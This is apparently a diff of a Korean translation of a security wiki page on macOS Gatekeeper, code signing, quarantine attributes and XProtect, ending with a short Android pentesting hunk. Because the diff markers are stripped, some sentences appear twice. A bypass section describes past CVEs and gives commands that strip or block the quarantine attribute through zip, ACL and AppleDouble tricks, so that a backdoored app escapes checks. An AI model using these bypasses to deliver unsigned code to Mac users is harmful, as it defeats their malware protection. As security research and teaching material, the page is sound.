1. **애플리케이션 서명:** 개발자가 애플리케이션을 배포할 준비가 되면, **개인 키를 사용하여 애플리케이션에 서명**합니다. 이 개인 키는 Apple Developer Program에 등록할 때 Apple이 개발자에게 발급하는 **인증서와 연결되어 있습니다**. 서명 프로세스는 앱의 모든 부분에 대한 암호화 해시를 생성하고 이 해시를 개발자의 개인 키로 암호화하는 과정을 포함합니다.
|
||||
2. **애플리케이션 배포:** 서명된 애플리케이션은 개발자의 인증서와 함께 사용자에게 배포되며, 이 인증서에는 해당 공개 키가 포함되어 있습니다.
|
||||
3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태에 따라 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미**하며, 시스템은 애플리케이션 실행을 허용합니다.
|
||||
3. **애플리케이션 검증:** 사용자가 애플리케이션을 다운로드하고 실행하려고 시도할 때, Mac 운영 체제는 개발자의 인증서에서 공개 키를 사용하여 해시를 복호화합니다. 그런 다음 현재 애플리케이션 상태를 기반으로 해시를 재계산하고 이를 복호화된 해시와 비교합니다. 일치하면 **애플리케이션이 개발자가 서명한 이후로 수정되지 않았음을 의미**하며, 시스템은 애플리케이션 실행을 허용합니다.
|
||||
|
||||
애플리케이션 서명은 Apple의 Gatekeeper 기술의 필수적인 부분입니다. 사용자가 **인터넷에서 다운로드한 애플리케이션을 열려고 시도할 때**, Gatekeeper는 애플리케이션 서명을 검증합니다. Apple이 알려진 개발자에게 발급한 인증서로 서명되었고 코드가 변조되지 않았다면, Gatekeeper는 애플리케이션 실행을 허용합니다. 그렇지 않으면 애플리케이션을 차단하고 사용자에게 경고합니다.
|
||||
|
||||
@ -26,7 +26,7 @@ macOS Catalina부터는 **Gatekeeper가 애플리케이션이 Apple에 의해
|
||||
|
||||
#### Check Signatures
|
||||
|
||||
일부 **악성 샘플**을 확인할 때는 항상 **바이너리의 서명**을 확인해야 하며, 서명한 **개발자**가 이미 **악성 코드와 관련이 있을 수 있습니다.**
|
||||
일부 **악성 샘플**을 확인할 때는 항상 **바이너리의 서명**을 **확인**해야 합니다. 서명한 **개발자**가 이미 **악성 코드와 관련이 있을 수** 있기 때문입니다.
|
||||
```bash
|
||||
# Get signer
|
||||
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
|
||||
@ -45,9 +45,9 @@ codesign -s <cert-name-keychain> toolsdemo
|
||||
```
|
||||
### Notarization
|
||||
|
||||
Apple의 노타리제이션 프로세스는 사용자를 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 노타리 서비스**에 제출하여 검토받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 검사하는 **자동화된 시스템**입니다.
|
||||
Apple의 노타리제이션 프로세스는 사용자들을 잠재적으로 해로운 소프트웨어로부터 보호하기 위한 추가적인 안전장치 역할을 합니다. 이는 **개발자가 자신의 애플리케이션을** **Apple의 노타리 서비스**에 제출하여 검토받는 과정을 포함합니다. 이 서비스는 App Review와 혼동해서는 안 됩니다. 이 서비스는 제출된 소프트웨어에서 **악성 콘텐츠**와 코드 서명과 관련된 잠재적인 문제를 조사하는 **자동화된 시스템**입니다.
|
||||
|
||||
소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, 노타리 서비스는 노타리제이션 티켓을 생성합니다. 개발자는 **이 티켓을 소프트웨어에 첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다.
|
||||
소프트웨어가 우려 사항 없이 이 검사를 **통과**하면, 노타리 서비스는 노타리제이션 티켓을 생성합니다. 개발자는 이 티켓을 자신의 소프트웨어에 **첨부해야** 하며, 이를 '스테이플링'이라고 합니다. 또한, 노타리제이션 티켓은 온라인에 게시되어 Gatekeeper, Apple의 보안 기술이 이를 접근할 수 있습니다.
|
||||
|
||||
사용자가 소프트웨어를 처음 설치하거나 실행할 때, 노타리제이션 티켓의 존재 - 실행 파일에 스테이플링되었거나 온라인에서 발견된 경우 - **Gatekeeper에 소프트웨어가 Apple에 의해 노타리제이션되었음을 알립니다**. 결과적으로, Gatekeeper는 초기 실행 대화 상자에 설명 메시지를 표시하여 소프트웨어가 Apple에 의해 악성 콘텐츠에 대한 검사를 받았음을 나타냅니다. 이 과정은 사용자가 자신의 시스템에 설치하거나 실행하는 소프트웨어의 보안에 대한 신뢰를 높입니다.
|
||||
|
||||
@ -84,10 +84,10 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
|
||||
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
|
||||
[...]
|
||||
```
|
||||
**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 통해 접근할 수 있습니다. **`spctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다.
|
||||
**`syspolicyd`**는 `assess`, `update`, `record`, `cancel`과 같은 다양한 작업을 수행하는 XPC 서버를 노출하며, 이는 **`Security.framework`의 `SecAssessment*`** API를 사용하여 접근할 수 있습니다. **`spctl`**은 실제로 XPC를 통해 **`syspolicyd`**와 통신합니다.
|
||||
|
||||
첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나는 점에 주목하세요. 이전 이미지에서는 **App Store 및 식별된 개발자**의 앱 실행이 **활성화**되어 있었습니다.\
|
||||
해당 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**.
|
||||
첫 번째 규칙이 "**App Store**"로 끝나고 두 번째 규칙이 "**Developer ID**"로 끝나는 점에 주목하세요. 이전 이미지에서는 **App Store 및 식별된 개발자**의 앱을 실행할 수 있도록 **활성화**되어 있었습니다.\
|
||||
그 설정을 App Store로 **수정**하면 "**Notarized Developer ID" 규칙이 사라질 것입니다**.
|
||||
|
||||
또한 **type GKE**의 수천 개의 규칙이 있습니다:
|
||||
```bash
|
||||
@ -181,20 +181,20 @@ Starting in macOS 15 Sequoia, end users can no longer toggle Gatekeeper policy f
|
||||
```
|
||||
### Quarantine Files
|
||||
|
||||
응용 프로그램이나 파일을 **다운로드**하면, 웹 브라우저나 이메일 클라이언트와 같은 특정 macOS **응용 프로그램**이 다운로드된 파일에 "**격리 플래그**"로 알려진 특정 파일 속성을 **첨부**합니다. 이 속성은 파일이 신뢰할 수 없는 출처(인터넷)에서 왔음을 **표시**하는 보안 조치로 작용하며, 잠재적인 위험을 내포하고 있습니다. 그러나 모든 응용 프로그램이 이 속성을 첨부하는 것은 아니며, 예를 들어 일반적인 BitTorrent 클라이언트 소프트웨어는 보통 이 과정을 우회합니다.
|
||||
응용 프로그램이나 파일을 **다운로드**하면, 웹 브라우저나 이메일 클라이언트와 같은 특정 macOS **응용 프로그램**이 다운로드된 파일에 "**격리 플래그**"로 일반적으로 알려진 **확장 파일 속성**을 추가합니다. 이 속성은 파일이 신뢰할 수 없는 출처(인터넷)에서 왔음을 **표시하는** 보안 조치로 작용하며, 잠재적인 위험을 내포하고 있습니다. 그러나 모든 응용 프로그램이 이 속성을 추가하는 것은 아니며, 예를 들어 일반적인 BitTorrent 클라이언트 소프트웨어는 보통 이 과정을 우회합니다.
|
||||
|
||||
**격리 플래그의 존재는 사용자가 파일을 실행하려고 할 때 macOS의 Gatekeeper 보안 기능을 신호합니다.**
|
||||
|
||||
**격리 플래그가 없는 경우**(일부 BitTorrent 클라이언트를 통해 다운로드된 파일과 같이) Gatekeeper의 **검사가 수행되지 않을 수 있습니다**. 따라서 사용자는 덜 안전하거나 알려지지 않은 출처에서 다운로드한 파일을 열 때 주의해야 합니다.
|
||||
|
||||
> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 과정은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **자원 집약적** 프로세스입니다. 또한, 인증서 유효성 검사는 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 앱이 실행될 때마다 전체 코드 서명 및 인증 확인을 **실행하는 것은 비현실적입니다**.
|
||||
> [!NOTE] > **코드 서명의 유효성**을 **확인하는** 것은 코드와 모든 번들 리소스의 암호화된 **해시**를 생성하는 것을 포함하는 **리소스 집약적인** 과정입니다. 또한, 인증서 유효성 확인은 발급 후 취소되었는지 확인하기 위해 Apple의 서버에 **온라인 확인**을 수행하는 것을 포함합니다. 이러한 이유로, 앱이 실행될 때마다 전체 코드 서명 및 인증 확인을 **실행하는 것은 비현실적입니다**.
|
||||
>
|
||||
> 따라서 이러한 검사는 **격리 속성이 있는 앱을 실행할 때만 수행됩니다.**
|
||||
|
||||
> [!WARNING]
|
||||
> 이 속성은 **파일을 생성/다운로드하는 응용 프로그램에 의해 설정되어야 합니다.**
|
||||
> 이 속성은 파일을 생성/다운로드하는 응용 프로그램에 의해 **설정되어야 합니다**.
|
||||
>
|
||||
> 그러나 샌드박스된 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 비샌드박스 앱은 스스로 설정하거나 **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 생성된 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
> 그러나 샌드박스된 파일은 생성하는 모든 파일에 이 속성이 설정됩니다. 비샌드박스 앱은 스스로 설정할 수 있거나, **Info.plist**에서 [**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc) 키를 지정하여 시스템이 생성된 파일에 `com.apple.quarantine` 확장 속성을 설정하도록 할 수 있습니다.
|
||||
|
||||
또한, **`qtn_proc_apply_to_self`**를 호출하는 프로세스에 의해 생성된 모든 파일은 격리됩니다. 또는 API **`qtn_file_apply_to_path`**는 지정된 파일 경로에 격리 속성을 추가합니다.
|
||||
|
||||
@ -213,7 +213,7 @@ xattr file.png
|
||||
com.apple.macl
|
||||
com.apple.quarantine
|
||||
```
|
||||
확인하십시오 **값** 의 **확장된** **속성** 및 찾으십시오 앱이 쓴 격리 속성:
|
||||
확장된 속성의 **값**을 확인하고 다음과 같이 격리 속성을 작성한 앱을 찾으십시오:
|
||||
```bash
|
||||
xattr -l portada.png
|
||||
com.apple.macl:
|
||||
@ -295,17 +295,17 @@ return 0;
|
||||
```
|
||||
</details>
|
||||
|
||||
그리고 **해당** 속성을 제거하세요:
|
||||
그리고 **해당** 속성을 제거하려면:
|
||||
```bash
|
||||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```
|
||||
모든 격리된 파일을 찾으려면:
|
||||
다음 명령어를 사용하여 모든 격리된 파일을 찾습니다:
|
||||
```bash
|
||||
find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.quarantine"
|
||||
```
|
||||
Quarantine 정보는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에 의해 LaunchServices에서 관리되는 중앙 데이터베이스에 저장되어 GUI가 파일 출처에 대한 데이터를 얻을 수 있도록 합니다. 또한, 이는 출처를 숨기려는 애플리케이션에 의해 덮어쓸 수 있습니다. 이는 LaunchServices API를 통해 수행될 수 있습니다.
|
||||
Quarantine 정보는 **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**에 의해 관리되는 중앙 데이터베이스에 저장되어 GUI가 파일 출처에 대한 데이터를 얻을 수 있도록 합니다. 또한, 이는 출처를 숨기려는 애플리케이션에 의해 덮어쓸 수 있습니다. 이는 LaunchServices API를 통해 수행될 수 있습니다.
|
||||
|
||||
#### **libquarantine.dylib**
|
||||
|
||||
@ -317,7 +317,7 @@ Quarantine 정보는 **`~/Library/Preferences/com.apple.LaunchServices.Quarantin
|
||||
|
||||
커널 확장은 **시스템의 커널 캐시**를 통해서만 사용할 수 있습니다. 그러나 **Kernel Debug Kit를** [**https://developer.apple.com/**](https://developer.apple.com/)에서 다운로드할 수 있으며, 이 키트는 확장의 기호화된 버전을 포함합니다.
|
||||
|
||||
이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로챕니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 방지합니다.
|
||||
이 Kext는 MACF를 통해 여러 호출을 후킹하여 모든 파일 생애 주기 이벤트를 가로챕니다: 생성, 열기, 이름 바꾸기, 하드 링크... 심지어 `setxattr`를 사용하여 `com.apple.quarantine` 확장 속성을 설정하지 못하도록 합니다.
|
||||
|
||||
또한 몇 가지 MIB를 사용합니다:
|
||||
|
||||
@ -328,8 +328,8 @@ Quarantine 정보는 **`~/Library/Preferences/com.apple.LaunchServices.Quarantin
|
||||
|
||||
macOS 13 Ventura는 격리된 앱이 처음 실행될 때 채워지는 별도의 출처 메커니즘을 도입했습니다. 두 개의 아티팩트가 생성됩니다:
|
||||
|
||||
- `.app` 번들 디렉토리에 있는 `com.apple.provenance` xattr(기본 키와 플래그를 포함하는 고정 크기 이진 값).
|
||||
- `/var/db/SystemPolicyConfiguration/ExecPolicy/` 내 ExecPolicy 데이터베이스의 `provenance_tracking` 테이블에 앱의 cdhash 및 메타데이터를 저장하는 행.
|
||||
- `.app` 번들 디렉토리의 `com.apple.provenance` xattr (기본 키와 플래그를 포함하는 고정 크기 이진 값).
|
||||
- 앱의 cdhash와 메타데이터를 저장하는 `/var/db/SystemPolicyConfiguration/ExecPolicy/` 내의 ExecPolicy 데이터베이스의 `provenance_tracking` 테이블에 행이 생성됩니다.
|
||||
|
||||
실용적인 사용:
|
||||
```bash
|
||||
@ -344,11 +344,11 @@ log show --last 2d --style syslog --predicate 'process == "syspolicyd" && eventM
|
||||
```
|
||||
### XProtect
|
||||
|
||||
XProtect는 macOS에 내장된 **안티-멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 확인합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하는 경우, XProtect는 **파일 실행을 차단하고 위협에 대해 경고합니다**.
|
||||
XProtect는 macOS에 내장된 **안티-멀웨어** 기능입니다. XProtect는 **응용 프로그램이 처음 실행되거나 수정될 때 알려진 멀웨어 및 안전하지 않은 파일 유형의 데이터베이스와 비교하여 검사합니다**. Safari, Mail 또는 Messages와 같은 특정 앱을 통해 파일을 다운로드하면 XProtect가 자동으로 파일을 스캔합니다. 데이터베이스에 있는 알려진 멀웨어와 일치하는 경우, XProtect는 **파일 실행을 차단하고** 위협에 대해 경고합니다.
|
||||
|
||||
XProtect 데이터베이스는 **Apple에 의해 정기적으로 업데이트**되며, 새로운 멀웨어 정의가 포함됩니다. 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
|
||||
XProtect 데이터베이스는 **정기적으로** Apple에 의해 새로운 멀웨어 정의로 업데이트되며, 이러한 업데이트는 자동으로 다운로드되어 Mac에 설치됩니다. 이를 통해 XProtect는 항상 최신 알려진 위협에 대해 최신 상태를 유지합니다.
|
||||
|
||||
그러나 **XProtect는 전체 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 확인하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다.
|
||||
그러나 **XProtect는 전체 기능을 갖춘 안티바이러스 솔루션이 아닙니다**. 특정 알려진 위협 목록만 검사하며, 대부분의 안티바이러스 소프트웨어처럼 접근 시 스캔을 수행하지 않습니다.
|
||||
|
||||
최신 XProtect 업데이트에 대한 정보를 얻으려면:
|
||||
```bash
|
||||
@ -363,7 +363,7 @@ XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에
|
||||
|
||||
**`/Library/Apple/System/Library/CoreServices/XProtect.app`**에는 Gatekeeper 프로세스와 관련이 없는 XProtect와 관련된 또 다른 앱이 있습니다.
|
||||
|
||||
> XProtect Remediator: 최신 macOS에서 Apple은 주기적으로 launchd를 통해 실행되는 온디맨드 스캐너(XProtect Remediator)를 제공하여 맬웨어 계열을 탐지하고 수정합니다. 이러한 스캔은 통합 로그에서 확인할 수 있습니다:
|
||||
> XProtect Remediator: 최신 macOS에서는 Apple이 주기적으로 실행되는 온디맨드 스캐너(XProtect Remediator)를 제공하여 맬웨어 계열을 탐지하고 수정합니다. 이러한 스캔은 통합 로그에서 확인할 수 있습니다:
|
||||
>
|
||||
> ```bash
|
||||
> log show --last 2h --predicate 'subsystem == "com.apple.XProtectFramework" || category CONTAINS "XProtect"' --style syslog
|
||||
@ -372,11 +372,11 @@ XProtect는 **/Library/Apple/System/Library/CoreServices/XProtect.bundle**에
|
||||
### Not Gatekeeper
|
||||
|
||||
> [!CAUTION]
|
||||
> Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다.** 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명**을 확인합니다.
|
||||
> Gatekeeper는 애플리케이션을 실행할 때마다 **실행되지 않습니다**. 오직 _**AppleMobileFileIntegrity**_ (AMFI)만이 Gatekeeper에 의해 이미 실행되고 검증된 앱을 실행할 때 **실행 가능한 코드 서명**을 확인합니다.
|
||||
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후, **애플리케이션의 실행 불가능한 파일**(예: Electron asar 또는 NIB 파일)을 수정하고 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다.**
|
||||
따라서 이전에는 앱을 실행하여 Gatekeeper로 캐시한 후 **애플리케이션의 비실행 파일**(예: Electron asar 또는 NIB 파일)을 수정하고, 다른 보호 장치가 없으면 애플리케이션이 **악성** 추가 사항과 함께 **실행되었습니다**.
|
||||
|
||||
하지만 이제 macOS는 애플리케이션 번들 내의 파일을 **수정하는 것을 방지**하므로, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. Gatekeeper로 캐시하기 위해 앱을 실행한 후에는 번들을 수정할 수 없습니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고 (악용에서 지시한 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
|
||||
하지만 이제 macOS는 애플리케이션 번들 내의 파일을 **수정하는 것을 방지**하므로, [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) 공격을 시도하면 더 이상 이를 악용할 수 없음을 알게 될 것입니다. Gatekeeper로 캐시하기 위해 앱을 실행한 후 번들을 수정할 수 없기 때문입니다. 예를 들어 Contents 디렉토리의 이름을 NotCon으로 변경하고(악용에서 지시된 대로) 앱의 주요 바이너리를 실행하여 Gatekeeper로 캐시하면 오류가 발생하고 실행되지 않습니다.
|
||||
|
||||
## Gatekeeper Bypasses
|
||||
|
||||
@ -390,7 +390,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
**Automator**로 생성된 애플리케이션은 실행에 필요한 정보가 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반적인 Automator 바이너리입니다.
|
||||
**Automator**로 생성된 애플리케이션의 경우, 실행에 필요한 정보는 `application.app/Contents/document.wflow`에 있으며 실행 파일에는 없습니다. 실행 파일은 **Automator Application Stub**이라는 일반적인 Automator 바이너리일 뿐입니다.
|
||||
|
||||
따라서 `application.app/Contents/MacOS/Automator\ Application\ Stub`이 **시스템 내의 다른 Automator Application Stub을 가리키는 심볼릭 링크로 설정**할 수 있으며, 그러면 `document.wflow`(당신의 스크립트) 내부의 내용을 **Gatekeeper를 트리거하지 않고 실행**합니다.
|
||||
|
||||
@ -400,7 +400,7 @@ Gatekeeper를 우회하는 방법(사용자가 무언가를 다운로드하고 G
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
이 우회에서는 애플리케이션이 `application.app`가 아닌 `application.app/Contents`에서 압축을 시작하도록 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만** **`application.app`에는 적용되지 않았습니다.** Gatekeeper가 확인하던 것이기 때문에, `application.app`가 트리거될 때 **quarantine 속성이 없었습니다.**
|
||||
이 우회에서는 애플리케이션이 `application.app`가 아닌 `application.app/Contents`에서 압축을 시작하도록 zip 파일이 생성되었습니다. 따라서 **quarantine attr**는 **`application.app/Contents`의 모든 파일에 적용되었지만** **`application.app`에는 적용되지 않았습니다.** Gatekeeper가 확인하는 것은 `application.app`이었기 때문에, `application.app`이 트리거될 때 **quarantine 속성이 없었습니다.**
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
@ -425,7 +425,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
또한, **AppleDouble** 파일 형식은 ACE를 포함하여 파일을 복사합니다.
|
||||
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서 ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일에 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
|
||||
[**소스 코드**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)에서 **`com.apple.acl.text`**라는 xattr에 저장된 ACL 텍스트 표현이 압축 해제된 파일의 ACL로 설정될 것임을 확인할 수 있습니다. 따라서, ACL이 다른 xattrs가 작성되는 것을 방지하는 애플리케이션을 **AppleDouble** 파일 형식으로 zip 파일에 압축했다면... 격리 xattr는 애플리케이션에 설정되지 않았습니다:
|
||||
```bash
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||
ditto -c -k test test.zip
|
||||
@ -447,7 +447,7 @@ aa archive -d app -o test.aar
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble 파일 형식은 `._`로 시작하는 별도의 파일에 파일의 속성을 저장하여 **macOS 기기 간에** 파일 속성을 복사하는 데 도움을 줍니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일이 **격리 속성을 부여받지 않는** 것으로 나타났습니다.
|
||||
AppleDouble 파일 형식은 `._`로 시작하는 별도의 파일에 파일의 속성을 저장하여 **macOS 기기 간에** 파일 속성을 복사하는 데 도움을 줍니다. 그러나 AppleDouble 파일을 압축 해제한 후 `._`로 시작하는 파일에 **격리 속성이 부여되지 않는** 문제가 발견되었습니다.
|
||||
```bash
|
||||
mkdir test
|
||||
echo a > test/a
|
||||
@ -457,8 +457,8 @@ aa archive -d test/ -o test.aar
|
||||
|
||||
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
|
||||
```
|
||||
파일을 생성할 수 있는 경우, 격리 속성이 설정되지 않으면 **Gatekeeper를 우회할 수 있었습니다.** 요령은 **AppleDouble 이름 규칙**을 사용하여 **DMG 파일 애플리케이션**을 생성하고, 격리 속성이 없는 이 숨겨진 파일에 대한 **심볼릭 링크로서의 가시 파일을 생성하는** 것이었습니다.\
|
||||
**dmg 파일이 실행될 때**, 격리 속성이 없기 때문에 **Gatekeeper를 우회하게 됩니다.**
|
||||
파일을 생성할 수 있는 경우 **Gatekeeper를 우회할 수 있었습니다.** 이 요령은 **AppleDouble 이름 규칙**을 사용하여 **DMG 파일 애플리케이션**을 생성하고, **이 숨겨진** 파일에 대한 심볼릭 링크로 **보이는 파일을 생성하는** 것이었습니다.\
|
||||
**dmg 파일이 실행될 때**, 쿼런틴 속성이 없기 때문에 **Gatekeeper를 우회하게 됩니다.**
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -15,12 +15,12 @@ android-applications-basics.md
|
||||
이것은 안드로이드 장치(에뮬레이트된 또는 물리적)에 연결하는 데 필요한 주요 도구입니다.\
|
||||
**ADB**는 컴퓨터에서 **USB** 또는 **네트워크**를 통해 장치를 제어할 수 있게 해줍니다. 이 유틸리티는 **파일 복사**, **앱 설치 및 제거**, **셸 명령 실행**, **데이터 백업**, **로그 읽기** 등 여러 기능을 가능하게 합니다.
|
||||
|
||||
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배워보세요.
|
||||
다음 목록의 [**ADB Commands**](adb-commands.md)를 확인하여 adb 사용 방법을 배우세요.
|
||||
|
||||
## Smali
|
||||
|
||||
때때로 **숨겨진 정보**(아마도 잘 난독화된 비밀번호나 플래그)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서는 APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
|
||||
때때로 **숨겨진 정보**(잘 난독화된 비밀번호나 플래그일 수 있음)에 접근하기 위해 **애플리케이션 코드를 수정하는 것**이 흥미로울 수 있습니다. 그러므로 apk를 디컴파일하고 코드를 수정한 후 다시 컴파일하는 것이 흥미로울 수 있습니다.\
|
||||
[**이 튜토리얼에서** APK를 디컴파일하고 Smali 코드를 수정한 후 새로운 기능으로 APK를 다시 컴파일하는 방법을 **배울 수 있습니다**](smali-changes.md). 이는 **동적 분석 중 여러 테스트의 대안으로 매우 유용할 수 있습니다**. 그러므로 **이 가능성을 항상 염두에 두세요**.
|
||||
|
||||
## Other interesting tricks
|
||||
|
||||
@ -80,7 +80,7 @@ APK의 **문자열**을 살펴보면 **비밀번호**, **URL** ([https://github.
|
||||
- **디버깅 가능한 애플리케이션**: _Manifest.xml_ 파일에서 디버깅 가능(`debuggable="true"`)으로 설정된 애플리케이션은 연결을 허용하여 악용될 위험이 있습니다. 디버깅 가능한 애플리케이션을 찾고 악용하는 방법에 대한 튜토리얼을 참조하세요.
|
||||
- **백업 설정**: 민감한 정보를 다루는 애플리케이션의 경우 `android:allowBackup="false"` 속성을 명시적으로 설정하여 adb를 통한 무단 데이터 백업을 방지해야 합니다. 특히 USB 디버깅이 활성화된 경우에 그렇습니다.
|
||||
- **네트워크 보안**: _res/xml/_의 사용자 지정 네트워크 보안 구성(`android:networkSecurityConfig="@xml/network_security_config"`)은 인증서 핀 및 HTTP 트래픽 설정과 같은 보안 세부정보를 지정할 수 있습니다. 예를 들어 특정 도메인에 대해 HTTP 트래픽을 허용하는 것입니다.
|
||||
- **내보낸 활동 및 서비스**: 매니페스트에서 내보낸 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
|
||||
- **내보내기된 활동 및 서비스**: 매니페스트에서 내보내기된 활동 및 서비스를 식별하면 악용될 수 있는 구성 요소를 강조할 수 있습니다. 동적 테스트 중 추가 분석을 통해 이러한 구성 요소를 악용하는 방법을 밝혀낼 수 있습니다.
|
||||
- **콘텐츠 제공자 및 파일 제공자**: 노출된 콘텐츠 제공자는 무단 데이터 접근 또는 수정이 가능할 수 있습니다. 파일 제공자의 구성도 면밀히 검토해야 합니다.
|
||||
- **브로드캐스트 수신기 및 URL 스킴**: 이러한 구성 요소는 악용될 수 있으며, 입력 취약점에 대한 URL 스킴 관리 방법에 특히 주의해야 합니다.
|
||||
- **SDK 버전**: `minSdkVersion`, `targetSDKVersion`, `maxSdkVersion` 속성은 지원되는 Android 버전을 나타내며, 보안상의 이유로 구식의 취약한 Android 버전을 지원하지 않는 것이 중요합니다.
|
||||
@ -100,7 +100,7 @@ tapjacking.md
|
||||
|
||||
### 작업 탈취
|
||||
|
||||
